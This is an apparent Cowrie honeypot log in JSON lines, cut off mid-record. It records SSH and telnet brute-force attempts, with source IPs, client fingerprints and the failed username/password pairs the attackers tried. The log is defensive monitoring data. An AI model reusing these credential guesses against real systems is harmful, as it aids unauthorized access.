{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:36.099901Z","src_ip":"87.251.64.176","session":"9c6a21247831","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:36.201700Z","src_ip":"87.251.64.176","session":"9c6a21247831","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57506,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e80599546ad","protocol":"ssh","message":"New connection: 159.203.92.129:57506 (159.203.135.109:22) [session: 7e80599546ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:48.113297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:48.117409Z","src_ip":"159.203.92.129","session":"7e80599546ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:48.122118Z","src_ip":"159.203.92.129","session":"7e80599546ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZhaoJH","password":"ZhaoJH123","message":"login attempt [ZhaoJH/ZhaoJH123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:48.133899Z","src_ip":"159.203.92.129","session":"7e80599546ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:49.142064Z","src_ip":"159.203.92.129","session":"7e80599546ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":35448,"dst_ip":"159.203.135.109","dst_port":22,"session":"8abb264538bd","protocol":"ssh","message":"New connection: 140.106.25.230:35448 (159.203.135.109:22) [session: 8abb264538bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:49.603337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:49.612052Z","src_ip":"140.106.25.230","session":"8abb264538bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:49.643958Z","src_ip":"140.106.25.230","session":"8abb264538bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01123","message":"login attempt [user01/user01123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:49.800719Z","src_ip":"140.106.25.230","session":"8abb264538bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:50.835492Z","src_ip":"140.106.25.230","session":"8abb264538bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.127.4.232","src_port":50788,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e7c0e68f7dd","protocol":"telnet","message":"New connection: 94.127.4.232:50788 (10.17.0.5:23) [session: 0e7c0e68f7dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:01.305395Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.129.64.90","src_port":50538,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9d15c7e6b3","protocol":"telnet","message":"New connection: 45.129.64.90:50538 (10.17.0.5:23) [session: ce9d15c7e6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:03.817261Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.57.8.5","src_port":51678,"dst_ip":"10.17.0.5","dst_port":23,"session":"e354e1b4b822","protocol":"telnet","message":"New connection: 185.57.8.5:51678 (10.17.0.5:23) [session: e354e1b4b822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:06.342100Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.194.21","src_port":54618,"dst_ip":"10.17.0.5","dst_port":23,"session":"935e53b6d27f","protocol":"telnet","message":"New connection: 185.92.194.21:54618 (10.17.0.5:23) [session: 935e53b6d27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:06.432793Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":35056,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6cadd5106c6","protocol":"ssh","message":"New connection: 80.94.92.186:35056 (159.203.135.109:22) [session: d6cadd5106c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:09.322692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:09.437990Z","src_ip":"80.94.92.186","session":"d6cadd5106c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:09.555161Z","src_ip":"80.94.92.186","session":"d6cadd5106c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:10.729952Z","src_ip":"80.94.92.186","session":"d6cadd5106c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:12.121614Z","src_ip":"80.94.92.186","session":"d6cadd5106c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00121998786926,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:12.470951Z","src_ip":"170.79.76.209","session":"8a651ad8cba1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00131678581238,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:13.055798Z","src_ip":"170.79.76.209","session":"ef4ec9eb759e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55529,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cae678085ab","protocol":"telnet","message":"New connection: 170.79.76.209:55529 (10.17.0.5:23) [session: 7cae678085ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:13.833287Z"}
{"eventid":"cowrie.session.closed","duration":120.00291347503662,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:15.017692Z","src_ip":"170.79.76.209","session":"94faf5da47a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55521,"dst_ip":"10.17.0.5","dst_port":23,"session":"008a3c927ec4","protocol":"telnet","message":"New connection: 170.79.76.209:55521 (10.17.0.5:23) [session: 008a3c927ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:15.597359Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55579,"dst_ip":"10.17.0.5","dst_port":23,"session":"c331cbc14a9a","protocol":"telnet","message":"New connection: 170.79.76.209:55579 (10.17.0.5:23) [session: c331cbc14a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:16.329456Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55576,"dst_ip":"10.17.0.5","dst_port":23,"session":"42a5e5e5c89b","protocol":"telnet","message":"New connection: 170.79.76.209:55576 (10.17.0.5:23) [session: 42a5e5e5c89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:17.208259Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55721,"dst_ip":"10.17.0.5","dst_port":23,"session":"e930808dc4bb","protocol":"telnet","message":"New connection: 170.79.76.209:55721 (10.17.0.5:23) [session: e930808dc4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:18.631118Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.97.16","src_port":54374,"dst_ip":"10.17.0.5","dst_port":23,"session":"77a04edc13fb","protocol":"telnet","message":"New connection: 138.197.97.16:54374 (10.17.0.5:23) [session: 77a04edc13fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:19.041683Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.97.16","src_port":54376,"dst_ip":"10.17.0.5","dst_port":23,"session":"06da9a450a6a","protocol":"telnet","message":"New connection: 138.197.97.16:54376 (10.17.0.5:23) [session: 06da9a450a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:19.051240Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.127.4.232","src_port":51380,"dst_ip":"10.17.0.5","dst_port":23,"session":"79e1dd53776f","protocol":"telnet","message":"New connection: 94.127.4.232:51380 (10.17.0.5:23) [session: 79e1dd53776f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:19.327381Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.129.64.90","src_port":51230,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d647c38e42e","protocol":"telnet","message":"New connection: 45.129.64.90:51230 (10.17.0.5:23) [session: 6d647c38e42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:20.686511Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":36060,"dst_ip":"159.203.135.109","dst_port":22,"session":"279999c0c9f3","protocol":"ssh","message":"New connection: 173.249.6.197:36060 (159.203.135.109:22) [session: 279999c0c9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:25.082233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:25.086875Z","src_ip":"173.249.6.197","session":"279999c0c9f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:25.183956Z","src_ip":"173.249.6.197","session":"279999c0c9f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tuser","password":"testing","message":"login attempt [tuser/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:25.599297Z","src_ip":"173.249.6.197","session":"279999c0c9f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:26.699347Z","src_ip":"173.249.6.197","session":"279999c0c9f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39330,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b5c7d029d5f","protocol":"ssh","message":"New connection: 159.203.92.129:39330 (159.203.135.109:22) [session: 4b5c7d029d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:29.655827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:29.660925Z","src_ip":"159.203.92.129","session":"4b5c7d029d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:29.668197Z","src_ip":"159.203.92.129","session":"4b5c7d029d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZhouWei","password":"123","message":"login attempt [ZhouWei/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:29.680374Z","src_ip":"159.203.92.129","session":"4b5c7d029d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:30.688249Z","src_ip":"159.203.92.129","session":"4b5c7d029d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.775652170181274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:32.080953Z","src_ip":"94.127.4.232","session":"0e7c0e68f7dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.652958154678345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:34.470119Z","src_ip":"45.129.64.90","session":"ce9d15c7e6b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71198081970215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:37.053943Z","src_ip":"185.57.8.5","session":"e354e1b4b822","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.703335762023926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:37.135806Z","src_ip":"185.92.194.21","session":"935e53b6d27f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":52718,"dst_ip":"159.203.135.109","dst_port":22,"session":"91666c5c07c5","protocol":"ssh","message":"New connection: 140.106.25.230:52718 (159.203.135.109:22) [session: 91666c5c07c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:39.367691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:06:39.372676Z","src_ip":"140.106.25.230","session":"91666c5c07c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh 